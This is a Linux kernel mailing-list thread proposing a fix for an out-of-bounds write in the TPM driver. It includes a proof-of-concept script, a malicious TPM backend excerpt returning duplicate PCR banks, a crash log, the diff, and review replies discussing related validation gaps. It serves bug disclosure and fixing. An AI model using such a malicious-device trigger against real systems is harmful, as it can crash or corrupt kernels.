[PATCH 0/1] tpm: ignore duplicate PCR banks in tpm2_get_pcr_allocation

[PATCH 0/1] tpm: ignore duplicate PCR banks in tpm2_get_pcr_allocation

[Yuqi Xu]

Hi Linux kernel maintainers,

We found and validated an issue in drivers/char/tpm/tpm2-cmd.c.
The bug is triggered by an attacker-controlled TPM 2.0 backend that
returns duplicate PCR bank selections in its TPM2_CAP_PCRS response
during device probe.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

`struct tpm_chip` reserves `chip->groups` as an array with only
`3 + TPM_MAX_HASHES` slots (8, with TPM_MAX_HASHES = 5).
`tpm2_get_pcr_allocation()` parses the TPM2_CAP_PCRS response and adds
every selection with a non-zero `pcr_select` to `chip->allocated_banks[]`.
It rejects more than `TPM2_MAX_PCR_BANKS` (8) selections but never checks
that the hash algorithm is unique.  `tpm_sysfs_add_device()` then stores
the device group plus one PCR group per allocated bank with
`chip->groups[chip->groups_cnt++]`, so eight duplicate SHA1 banks make it
write index 8 of an 8-element array, before the trailing
`WARN_ON(chip->groups_cnt > TPM_MAX_HASHES + 1)`.

The TPM response is external input: a malicious or buggy TPM 2.0 backend
can report the same bank eight times and drive the out-of-bounds write
during `tpm_chip_register()` -> `tpm_sysfs_add_device()`.

Keep `allocated_banks[]` unique by ignoring a selection whose hash
algorithm has already been added; the number of distinct groups then
matches the number of distinct hash algorithms.

Reproducer:

 cd /root
 ./poc.sh

poc.sh starts malicious_tpm.py, a small swtpm-control-protocol backend
that answers TPM2_CAP_PCRS with eight duplicate SHA1 selections, and boots
a kernel with `-device tpm-tis` pointing at it.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU/KVM environment with
CONFIG_TCG_TPM, CONFIG_TCG_TIS and CONFIG_UBSAN_BOUNDS enabled and
panic_on_warn=1 on the kernel command line.  The test build has
CONFIG_TCG_TPM2_HMAC disabled so the probe reaches TPM2_CAP_PCRS without
the fake backend having to answer CREATE_PRIMARY.

------BEGIN poc.sh------

#!/usr/bin/env bash
set -euo pipefail

DIR="$(cd -- "$(dirname -- "$0")" && pwd)"
KERNEL_SRC="${1:-/home/data/data/repos/linux-repos/linux-lts-v6.12.74}"
CTRL_SOCK="$(mktemp -u /tmp/malicious-tpm-XXXXXX.sock)"
BACKEND_LOG="${DIR}/backend.log"
RAW_QEMU_LOG="${DIR}/qemu-raw.log"
QEMU_LOG="${DIR}/qemu.log"

cleanup() {
  if [[ -n "${BACKEND_PID:-}" ]] && kill -0 "${BACKEND_PID}" 2>/dev/null; then
    kill -TERM "${BACKEND_PID}" 2>/dev/null || true
    wait "${BACKEND_PID}" 2>/dev/null || true
  fi
  rm -f "${CTRL_SOCK}"
}
trap cleanup EXIT

: > "${BACKEND_LOG}"

python3 "${DIR}/malicious_tpm.py" --ctrl "${CTRL_SOCK}" --log "${BACKEND_LOG}" &
BACKEND_PID=$!

echo "backend log: ${BACKEND_LOG}"
echo "raw qemu log: ${RAW_QEMU_LOG}"
echo "sanitized qemu log: ${QEMU_LOG}"
echo "The VM should exit on its own after the panic. If it does not, kill the printed pid."

script -q -f "${RAW_QEMU_LOG}" -c "${DIR}/qemu-start-kernel-tpm.sh ${KERNEL_SRC} ${CTRL_SOCK}"
perl -pe 's/\e\[[0-9;?]*[ -\/]*[@-~]//g; s/\ec//g; s/\r//g' "${RAW_QEMU_LOG}" > "${QEMU_LOG}"

if grep -q 'UBSAN: array-index-out-of-bounds in ../drivers/char/tpm/tpm-sysfs.c:513:16' "${QEMU_LOG}" &&
   grep -q 'Kernel panic - not syncing: UBSAN: panic_on_warn set' "${QEMU_LOG}"; then
  echo "Trigger confirmed. See ${QEMU_LOG}"
else
  echo "Trigger not observed. See ${QEMU_LOG} and ${BACKEND_LOG}" >&2
  exit 1
fi

------END poc.sh--------

------BEGIN malicious_tpm.py excerpt------

ALG_SHA1 = 0x0004

def build_get_cap_pcrs():
    entries = []
    for _ in range(8):
        entries.append(be16(ALG_SHA1) + b"\x03" + b"\x01\x00\x00")
    payload = b"\x00" + be32(TPM2_CAP_PCRS) + be32(8) + b"".join(entries)
    return build_header(TPM2_RC_SUCCESS, payload)

        if cap == TPM2_CAP_PCRS:
            return build_get_cap_pcrs()

------END malicious_tpm.py excerpt------

----BEGIN crash log----

[    0.487531] ------------[ cut here ]------------
[    0.487533] UBSAN: array-index-out-of-bounds in /home/lucas/work/net-tpm-675/drivers/char/tpm/tpm-sysfs.c:517:16
[    0.487535] index 8 is out of range for type 'attribute_group *[8]'
[    0.487538] CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Not tainted 7.3.0-rc3-00322-gab411db3c3b1 #2 PREEMPT(lazy) 
[    0.487541] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.17.0-10.fc44 06/10/2025
[    0.487542] Call Trace:
[    0.487553]  <TASK>
[    0.487555]  dump_stack_lvl+0x4d/0x70
[    0.487561]  ubsan_epilogue+0x5/0x2b
[    0.487564]  __ubsan_handle_out_of_bounds.cold+0x4e/0x58
[    0.487567]  tpm_sysfs_add_device+0x29f/0x380
[    0.487573]  tpm_chip_register+0x3d/0x1e0
[    0.487576]  ? srso_alias_return_thunk+0x5/0xfbef5
[    0.487579]  ? srso_alias_return_thunk+0x5/0xfbef5
[    0.487580]  tpm_tis_core_init.cold+0x1bc/0x3a1
[    0.487584]  tpm_tis_plat_probe+0x101/0x130
[    0.487588]  ? srso_alias_return_thunk+0x5/0xfbef5
[    0.487590]  platform_probe+0x74/0xc0
[    0.487594]  ? driver_sysfs_add+0x50/0x80
[    0.487596]  really_probe+0xdd/0x290
[    0.487597]  ? srso_alias_return_thunk+0x5/0xfbef5
[    0.487599]  __driver_probe_device+0x99/0x180
[    0.487601]  ? __pfx___driver_attach+0x10/0x10
[    0.487602]  driver_probe_device+0x1a/0xa0
[    0.487604]  ? __pfx___driver_attach+0x10/0x10
[    0.487605]  __driver_attach+0xab/0x180
[    0.487607]  ? srso_alias_return_thunk+0x5/0xfbef5
[    0.487608]  bus_for_each_dev+0x92/0xf0
[    0.487611]  bus_add_driver+0x104/0x220
[    0.487613]  ? __pfx_init_tis+0x10/0x10
[    0.487617]  driver_register+0x70/0xe0
[    0.487619]  init_tis+0x9b/0xf0
[    0.487623]  do_one_initcall+0x84/0x260
[    0.487626]  kernel_init_freeable+0x249/0x2c0
[    0.487630]  ? __pfx_kernel_init+0x10/0x10
[    0.487633]  kernel_init+0x1b/0x140
[    0.487635]  ? __pfx_kernel_init+0x10/0x10
[    0.487637]  ret_from_fork+0x196/0x260
[    0.487640]  ? __pfx_kernel_init+0x10/0x10
[    0.487641]  ? __pfx_kernel_init+0x10/0x10
[    0.487643]  ret_from_fork_asm+0x1a/0x30
[    0.487646]  </TASK>
[    0.487647] ---[ end trace ]---
[    0.487648] Kernel panic - not syncing: UBSAN: panic_on_warn set ...

-----END crash log-----

Best regards,
Yuqi Xu

Yuqi Xu (1):
  tpm: ignore duplicate PCR banks in tpm2_get_pcr_allocation

 drivers/char/tpm/tpm2-cmd.c | 18 +++++++++++++-----
 1 file changed, 13 insertions(+), 5 deletions(-)


base-commit: ab411db3c3b1fd0c70a36fb32c96b2c60175210b
-- 
2.55.0

[PATCH 1/1] tpm: ignore duplicate PCR banks in tpm2_get_pcr_allocation

[Yuqi Xu]

The TPM2_CAP_PCRS response is external input and may contain duplicate
hash algorithms.  tpm2_get_pcr_allocation() adds every active selection
to allocated_banks, while tpm_sysfs_add_device() has one group slot per
distinct hash algorithm.  Eight duplicate selections can therefore make
it write past chip->groups[].

Keep allocated_banks unique by ignoring duplicate hash algorithms while
parsing the response.

Fixes: aab73d952402 ("tpm: add sysfs exports for all banks of PCR registers")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Yuqi Xu <xuyuqiabc@gmail.com>
Reviewed-by: Ren Wei <weir@nebusec.ai>
---
 drivers/char/tpm/tpm2-cmd.c | 18 +++++++++++++-----
 1 file changed, 13 insertions(+), 5 deletions(-)

diff --git a/drivers/char/tpm/tpm2-cmd.c b/drivers/char/tpm/tpm2-cmd.c
index ae22295df798..99e9d89b18e1 100644
--- a/drivers/char/tpm/tpm2-cmd.c
+++ b/drivers/char/tpm/tpm2-cmd.c
@@ -527,6 +527,7 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip)
 	u32 rsp_len;
 	int rc;
 	int i = 0;
+	int j;
 
 	struct tpm_buf *buf __free(kfree) = kzalloc(TPM_BUFSIZE, GFP_KERNEL);
 	if (!buf)
@@ -569,13 +570,20 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip)
 		pcr_select_offset = memchr_inv(pcr_selection.pcr_select, 0,
 					       pcr_selection.size_of_select);
 		if (pcr_select_offset) {
-			chip->allocated_banks[nr_alloc_banks].alg_id = hash_alg;
+			for (j = 0; j < nr_alloc_banks; j++) {
+				if (chip->allocated_banks[j].alg_id == hash_alg)
+					break;
+			}
 
-			rc = tpm2_init_bank_info(chip, nr_alloc_banks);
-			if (rc < 0)
-				break;
+			if (j == nr_alloc_banks) {
+				chip->allocated_banks[nr_alloc_banks].alg_id = hash_alg;
 
-			nr_alloc_banks++;
+				rc = tpm2_init_bank_info(chip, nr_alloc_banks);
+				if (rc < 0)
+					break;
+
+				nr_alloc_banks++;
+			}
 		}
 
 		sizeof_pcr_selection = sizeof(pcr_selection.hash_alg) +
-- 
2.55.0

Re: [PATCH 1/1] tpm: ignore duplicate PCR banks in tpm2_get_pcr_allocation

[Yuqi Xu]

Thank you for the review. We checked all three items against the tree this
patch was based on. Two of them describe real pre-existing validation gaps
in tpm2_get_pcr_allocation(); the third does not apply to that function.
None of them is introduced or altered by this patch, which only makes
allocated_banks[] unique by hash algorithm.

> 1) Stack out-of-bounds read in `tpm2_get_pcr_allocation()` when parsing
> TPM response due to trusting `size_of_select`.

Confirmed, and it is pre-existing. struct tpm2_pcr_selection declares
pcr_select as a fixed u8[3] (include/linux/tpm_command.h:419-423), while
size_of_select is a u8 taken verbatim from the TPM response
(drivers/char/tpm/tpm2-cmd.c:567). memchr_inv() is then called with that
attacker-controlled length over the 3-byte stack array (tpm2-cmd.c:570), so
size_of_select up to 255 makes it read up to 252 bytes past pcr_select. The
value is only used as a boolean, so this is an out-of-bounds read rather
than a direct information leak, but it is still undefined behaviour and
KASAN would flag it with a hostile TPM. It was introduced by bcfff8384f6c
("tpm: dynamically allocate the allocated_banks array"), long before this
patch.

It is a different root cause from ignoring duplicate hash algorithms,
so it is outside the scope of this series.

> 2) Heap out-of-bounds read in `tpm2_get_pcr_allocation()` due to
> insufficient buffer length validation before copying the TPM response
> payload.

The "insufficient validation" part is correct, but we do not think it is
reachable as a heap out-of-bounds read. The guard before the copy only
proves that marker + offsetof(size_of_select) is inside the response, i.e.
3 bytes (tpm2-cmd.c:560-565), while memcpy() then copies
sizeof(pcr_selection) = 6 bytes (tpm2-cmd.c:567). memcpy() can go past
end only because of that 3-byte guard versus the 6-byte copy, so the
source read exceeds the logical end by at most 3 bytes.

After a successful tpm_try_transmit(), len equals header->length
(tpm-interface.c:202), and tpm_transmit_cmd() stores that value in
buf->length. rsp_len taken from the header is therefore the same length,
not a weaker bound than buf->length.

The loop is capped at nr_possible_banks <= TPM2_MAX_PCR_BANKS = 8
(tpm2-cmd.c:548), with marker advancing by at most 3 + 255 per iteration.
The last memcpy source is therefore at offset 1825; after the loop marker
is at most 2083, still well inside the TPM_BUFSIZE (4096) kzalloc buffer,
so the read never leaves the allocation. The over-read is limited to the
area between the logical response end and the end of the same buffer.

This guard also predates the patch (1db15344f874).

> 3) Function mixes goto-based error handling with `__free()` scope-based
> cleanup, violating subsystem guidelines.

We could not find such a mix in tpm2_get_pcr_allocation(). The function has
no goto: it uses only break and return (tpm2-cmd.c:534, 544, 551, 597),
with __free(kfree) on buf as the only cleanup construct.

To summarize: item 1 is a real pre-existing out-of-bounds read. For item 2
the insufficient guard is real, but a heap out-of-bounds read is not
reachable. Item 3 does not apply to this function. This series is
intentionally limited to ignoring duplicate hash algorithms so that
nr_allocated_banks, and therefore groups_cnt, always equals the number of
distinct algorithms the TPM reports.

Best regards,
Yuqi Xu

Re: [PATCH 1/1] tpm: ignore duplicate PCR banks in tpm2_get_pcr_allocation

[Jarkko Sakkinen]

On Sat, Sep 19, 2026 at 04:47:00PM +0800, Yuqi Xu wrote:
> The TPM2_CAP_PCRS response is external input and may contain duplicate
> hash algorithms.  tpm2_get_pcr_allocation() adds every active selection
> to allocated_banks, while tpm_sysfs_add_device() has one group slot per
> distinct hash algorithm.  Eight duplicate selections can therefore make
> it write past chip->groups[].
> 
> Keep allocated_banks unique by ignoring duplicate hash algorithms while
> parsing the response.
> 
> Fixes: aab73d952402 ("tpm: add sysfs exports for all banks of PCR registers")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: LLM
> Signed-off-by: Yuqi Xu <xuyuqiabc@gmail.com>
> Reviewed-by: Ren Wei <weir@nebusec.ai>
> ---

It may not contain duplicates as per protocol spec i.e., instead of
silently ignoring the error -EIO should be returned. TPM should not
be enabled if it is compromised.

>  drivers/char/tpm/tpm2-cmd.c | 18 +++++++++++++-----
>  1 file changed, 13 insertions(+), 5 deletions(-)
> 
> diff --git a/drivers/char/tpm/tpm2-cmd.c b/drivers/char/tpm/tpm2-cmd.c
> index ae22295df798..99e9d89b18e1 100644
> --- a/drivers/char/tpm/tpm2-cmd.c
> +++ b/drivers/char/tpm/tpm2-cmd.c
> @@ -527,6 +527,7 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip)
>  	u32 rsp_len;
>  	int rc;
>  	int i = 0;
> +	int j;
>  
>  	struct tpm_buf *buf __free(kfree) = kzalloc(TPM_BUFSIZE, GFP_KERNEL);
>  	if (!buf)
> @@ -569,13 +570,20 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip)
>  		pcr_select_offset = memchr_inv(pcr_selection.pcr_select, 0,
>  					       pcr_selection.size_of_select);
>  		if (pcr_select_offset) {
> -			chip->allocated_banks[nr_alloc_banks].alg_id = hash_alg;
> +			for (j = 0; j < nr_alloc_banks; j++) {
> +				if (chip->allocated_banks[j].alg_id == hash_alg)
> +					break;
> +			}
>  
> -			rc = tpm2_init_bank_info(chip, nr_alloc_banks);
> -			if (rc < 0)
> -				break;
> +			if (j == nr_alloc_banks) {
> +				chip->allocated_banks[nr_alloc_banks].alg_id = hash_alg;
>  
> -			nr_alloc_banks++;
> +				rc = tpm2_init_bank_info(chip, nr_alloc_banks);
> +				if (rc < 0)
> +					break;
> +
> +				nr_alloc_banks++;
> +			}
>  		}
>  
>  		sizeof_pcr_selection = sizeof(pcr_selection.hash_alg) +
> -- 
> 2.55.0
> 

Br, Jarkko